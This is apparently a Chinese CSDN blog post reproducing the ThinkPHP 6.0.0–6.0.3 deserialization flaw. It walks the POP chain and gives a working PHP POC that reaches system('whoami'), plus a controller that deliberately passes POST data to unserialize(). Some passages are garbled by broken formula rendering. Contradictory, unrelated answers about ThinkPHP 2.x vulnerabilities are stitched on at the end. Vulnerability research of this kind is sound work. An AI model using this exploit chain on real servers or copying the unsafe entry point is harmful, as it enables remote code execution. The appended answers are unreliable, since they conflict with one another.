ThinkPHP v6.0.x反序列化漏洞复现与分析

本文详细介绍了ThinkPHP v6.0.0-6.0.3版本的反序列化漏洞,包括环境搭建、漏洞复现步骤、漏洞分析过程。通过分析,揭示了漏洞利用的关键点在于`__destruct()`、`__toString()`等魔术方法,以及`Model.php`中的`updateData()`等函数。通过构造特定的数据,可以触发动态函数调用,实现代码执行。文章还提供了POC构造和漏洞利用链的完整路径。
摘要由CSDN通过智能技术生成

thinkPHP v6.0.0-6.0.3反序列化漏洞复现与分析

环境搭建

初始环境,需要注意的是,新版v6基于PHP7.1+开发

php-7.2.9
ThinkPHP v6.0.3

使用composer进行安装

composer create-project topthink/think=6.0.3 tp6.0

⚠️坑点,截止到2021/09/16 ,默认核心安装的为framework=v6.0.9 think-orm=2.0.44 但是到最后面部分代码段已经修复了利用点,所以为了避免大家再次踩坑,请部署完成后,请前往composer.json 中,修改核心依赖相关版本,回退更新

"require": {
         "php": ">=7.1.0",
         "topthink/framework": "6.0.3",
         "topthink/think-orm": "2.0.30"
     },

在这里插入图片描述

进行回退更新,没有出现报错即成功

composer update

开启web服务进行验证访问

http://localhost/tp6.0/public/

注意:实际测试需要PHP版本>7.2.5

在这里插入图片描述

****tp6.0 版本安装后默认使用单应用模式部署,url访问受到路由模式的影响,为了使用方便,我们先要去/config/app.php 中将with_route => false
在这里插入图片描述

访问控制器中的hello方法名,并且传递参数值

http://localhost/tp6.0/public/index.php/index/hello/name/123

构建反序列化入口

需要编写一个控制器模块并存在反序列化可控点,这样才能进行利用

tp6.0\app\controller\Index.php

在这里插入图片描述

  public function lyy9(){
        $tmp = $_POST['lyy9'];
        echo $tmp;
        unserialize($tmp);
    }

访问thinkphp路由

http://localhost/tp6.0/public/index.php/index/lyy9

漏洞分析

__destruct()链条

漏洞的一般起点在__destruct() 函数,这次位于/vendor/topthink/think-orm/src/Model.php
在这里插入图片描述

this→lazySave可控,跟进save()方法

在这里插入图片描述

因为之前的__toString()链条仍然可以使用,因此要想办法找一个可以进入到__toString()的点,这里我们关注的是updateData() 所以前面的判断需要让他不成立,因为是||所以两个都不能为真

跟进isEmpty()

在这里插入图片描述

发现$this→data可控,让data[]不为空,则返回false ,第一个条件满足了,再跟进trigger()

在这里插入图片描述

可以发现这里$this→withEvent可控,设置withEventfalse 这样就会返回true,这样回到上一层if(false || false === true) 不成立,就会跳过判断

进入$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

exists可控,我们跟进updateData()

    protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }

        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }

        // 检查允许字段
        $allowFields = $this->checkAllowFields();

        foreach ($this->relationWrite as $name => $val) {
            if (!is_array($val)) {
                continue;
            }

            foreach ($val as $key) {
                if (isset($data[$key])) {
                    unset($data[$key]);
                }
            }
        }

        // 模型更新
        $db = $this->db();
        $db->startTrans();

        try {
            $this->key = null;
            $where     = $this->getWhere();

            $result = $db->where($where)
                ->strict(false)
                ->cache(true)
                ->setOption('key', $this->key)
                ->field($allowFields)
                ->update($data);

            $this->checkResult($result);

            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            $db->commit();

            // 更新回调
            $this->trigger('AfterUpdate');

            return true;
        } catch (\Exception $e) {
            $db->rollback();
            throw $e;
        }
    }

在这里插入图片描述

这里前面trigger 可控,所以会直接跳过,checkData()并没有定义,也可以直接略过,跟进getChangedData()

在这里插入图片描述

this→force可控,当为true 时,返回$this→data ,则$data=$this→data 继续向下跟进

在这里插入图片描述

可以看到,要进入checkAllowFields(),需要进行判断$data是否为空,这里要将$data 置为非空,这样就可以跳过判断,跟进checkAllowFields()

在这里插入图片描述

$field$schema 都可控,当构造为空时,就可以进入db() 方法
在这里插入图片描述

可以看到,这里有. 号,当我们进行构造对象进行字符串拼接时,就会触发__toString() 魔术方法

上半段pop链条

__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()

参数构造

$this->exists = true;
$this->$lazySave = true;
$this->$withEvent = false;

__toString()链条

后面就是延续tp5反序列化的触发toString魔术方法了,就是原来vendor/topthink/think-orm/src/model/concern/Conversion.php的__toString开始的利用链
在这里插入图片描述

跟进toJson()

在这里插入图片描述

继续跟进toArray()

   public function toArray(): array
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]          = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]         = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

        // 追加属性(必须定义获取器)
        foreach ($this->append as $key => $name) {
            $this->appendAttrToArray($item, $key, $name);
        }

        return $item;
    }

第三个foreach里面存在getAttr方法,他是个关键方法,我们需要触发他

触发条件: t h i s − > v i s i b l e [ this->visible[ this>visible[key]存在,即 t h i s − > v i s i b l e 存 在 键 名 为 this->visible存在键名为 this>visiblekey的键,而 k e y 则 来 源 于 key则来源于 keydata的键名, d a t a 则 来 源 于 data则来源于 datathis->data,也就是说 t h i s − > d a t a 和 this->data和 this>datathis->visible要有相同的键名$key

然后跟进到getAttr

在这里插入图片描述

$key值就传入到了getData()方法,跟进getData方法

在这里插入图片描述

第一个if判断传入的值, k e y 值 不 为 空 , 因 此 绕 过 , 然 后 key值不为空,因此绕过,然后 keykey值传入到了getRealFieldName()方法,跟进getRealFieldName方法

在这里插入图片描述

$this->stricttrue时直接返回$name,即$key

回到getData方法,此时$fieldName = $key,进入判断语句:

if (array_key_exists($fieldName, $this->data)) {
            return $this->data[$fieldName];
        } elseif (array_key_exists($fieldName, $this->relation)) {
            return $this->relation[$fieldName];
        }

返回$this->data[$fielName]也就是$this->data[$key],记为$value

再回到getAttr,也就是返回 t h i s − > g e t V a l u e ( this->getValue( this>getValue(key, $value, null);

再跟进到getValue

在这里插入图片描述

首先$fieldName=$key 然后进行判断$this→withAttr[$fieldName] 是否存在进入二层判断,默认$relation=false ,不符合,进入下一个判断,默认json为空,主要在后一半$this→withAttr[$fieldName] 是否为数组,最终利用点在于后面的动态函数调用,所以前面两个判断都要绕过。正好withAttr[]我们是可以控制的,只要我们能让$key对应的不为数组就可以绕过

$closure = $this->withAttr[$fieldName];
$value   = $closure($value, $this->data);

前面图中已经很明显写出来$fieldName=$key $value=$this→data[$key]

这样的话,就会把$this->withAttr[$key]withAttr数组$key键对应的值)当做函数名动态执行,参数为$value=$this->data[$key]

例如这样进行构造

$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"];

最后实际执行的是system("whoami")

到这里呈现了一条完整的POP链。

__toString()-->toJson()-->toArray()-->getAttr()->getData()->getRealFieldName()-->getValue()

POC构造

<?php
 namespace think\model\concern;
 trait Attribute
 {
     private $data = ["key"=>"whoami"];
     private $withAttr = ["key"=>"system"];
 }
 namespace think;
 abstract class Model
 {
     use model\concern\Attribute;
     private $lazySave = true;
     protected $withEvent = false;
     private $exists = true;
     private $force = true;
     protected $name;
     public function __construct($obj=""){
         $this->name=$obj;
     }
 }
 namespace think\model;
 use think\Model;
 class Pivot extends Model
 {}
 $a=new Pivot();
 $b=new Pivot($a);
 echo urlencode(serialize($b));

访问

http://localhost/tp6.0/public/index.php/index/lyy9

在这里插入图片描述

总结

这次反序列化链的终点并不是call_user_func也不是回调函数,而是动态函数的调用

中间__toString()魔术方法的触发也不是通过函数调用而是对变量(类变量)的拼接

### 回答1: 这个问题是关于ThinkPHP 2.x是否存在代码漏洞的。据我所知,目前没有任何官方宣布过该版本存在漏洞的消息。但是任何一个应用程序都有可能存在漏洞,因此在使用任何版本的框架时都需要小心谨慎,并始终保持最新版本的更新。如果发现了任何问题,应该及时向官方反馈。 ### 回答2: thinkphp是一款非常流行的PHP开源框架,其中的2.x版本存在任意代码执行漏洞。该漏洞存在于框架的核心类文件中,攻击者可以构造特殊的参数,在受害者服务器上执行任意代码,导致服务器被入侵,甚至整个网站被控制。 具体来说,当用户的输入作为参数传递给框架的Loader类时,如果没有进行充分的过滤和验证,攻击者就可以通过注入恶意代码,来控制服务器。在thinkphp 2.x版本中,以下方法是存在问题的: ``` thinkphp/library/think/Loader.php -> import()方法 thinkphp/library/think/Template/Driver.php -> abstract parse()方法 ``` 在import方法中,如果用户通过GET或者POST请求向网站提交数据,在没有进行过滤的情况下,该参数会被直接传递给Loader类,当该参数中含有'://'或者'\\'时,Loader类会默认该参数为URL或文件路径,进而执行include等相关操作,这为攻击者提供了一个绕过安全限制的途径。 在parse方法中,如果用户提交了一个包含PHP代码的模板文件,攻击者可以通过提交的数据来控制parse方法执行时所使用的函数和参数,进而达到任意代码执行的效果。 为了避免该漏洞的出现,开发人员需要注意代码编写规范,尽量避免使用用户输入的数据来构造URL或文件路径,同时需要对用户输入进行充分的过滤和验证,包括数据类型、长度、格式等内容。此外,开发人员也可以使用更加先进的开发框架,或者借助第三方安全验证工具,对网站进行全面的安全测试,以及时发现和修复漏洞,保护网站安全。 ### 回答3: ThinkPHP是一款流行的PHP开发框架,被广泛应用于各种Web应用程序的开发。ThinkPHP 2.x是其中的一个早期版本,该版本因存在任意代码执行漏洞而备受关注。 该漏洞存在于ThinkPHP 2.x的模板解析机制中,该机制允许开发人员在视图页面中使用变量替换来展示动态内容。然而,在未对变量进行过滤的情况下,攻击者可以构造恶意变量,从而实现任意代码执行的攻击。 具体来说,攻击者可以通过在URL参数或提交数据中注入恶意变量来触发漏洞。该变量包含恶意代码,以及一些特殊参数来控制代码的执行。攻击者可以通过该漏洞来执行系统命令、读取敏感文件、获取访问权限等。 该漏洞的危害性较大,因此开发者应尽快升级到更高版本的ThinkPHP框架,或者采取其他措施来修复漏洞。具体措施包括: 1. 对用户提交的数据进行严格过滤和验证,确保不含有可疑的代码或命令。 2. 设置安全防护机制,如禁止用户上传和执行PHP文件、限制文件读写权限等。 3. 及时升级系统补丁,修复已知的安全漏洞。 总之,任意代码执行漏洞是一种非常危险的漏洞类型,需要开发人员加强安全意识和技术能力,采取有效的预防和修复措施,以确保Web应用程序的安全可靠。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值